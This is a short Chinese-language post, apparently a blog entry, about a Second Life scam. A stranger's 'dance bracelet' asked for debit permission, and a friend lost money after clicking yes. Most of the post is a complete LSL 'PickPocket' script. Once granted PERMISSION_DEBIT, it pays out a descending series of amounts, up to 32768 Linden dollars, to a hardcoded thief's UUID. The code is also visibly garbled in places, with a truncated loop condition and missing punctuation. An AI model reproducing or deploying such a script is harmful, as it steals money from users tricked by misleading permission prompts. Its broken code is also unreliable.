在第二人生世界中, 一位朋友曾经收到来自陌生人的’dance bracelet(跳舞用的手镯)’. 当他试着带上手镯的时候, 屏幕上显示一个对话框”this object would like to take money from you, is that ok?(物品将从您的帐户拿钱, 可以吗?)”, 这时候他习惯性认为是”this object would like to animate you, is that ok?(物品将为您提供动画效果, 可以吗?)” 然后盲目地点击了”可以”. 理所当然这位朋友的钱就少了.
通过下面的一段示例代码, 我们可以了解别人是如何通过物品从你的帐户拿走林登币.
注: 脚本仅在物品所有者(物品接受者)接受PERMISSION_DEBIT选项时有效.
//———————————————————————————–
// PureEvil PickPocket Script C 2005-2007
// By Mitzpatrick Fitzsimmons
//———————————————————————————–
//—————————-DISCLAIMER!——————————————–
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.
// The UUID of the “thief” variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//———————————————————————————–
key thief = “605dc2e5-3bdf-427e-a38d-98390c124249″; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2 1];
pay () {
integer m = llGetListLength(ammount);
integer i = 0;
while (i llGiveMoney(thief,llList2Integer(ammount,i));
i++;
}
}
default
{
on_rez(integer number)
{
llResetScript()
}
state_entry()
{
llSay(0, “Touch the PickPocket!”);
}
touch_start(integer total_number)
{
llRequestPermissions(llGetOwner(),PERMISSION_DEBIT );
}
run_time_permissions(integer number)
{
if(number >0)
{
pay();
}else{
llSay(0, “PickPocket has no permissions”);
}
}
}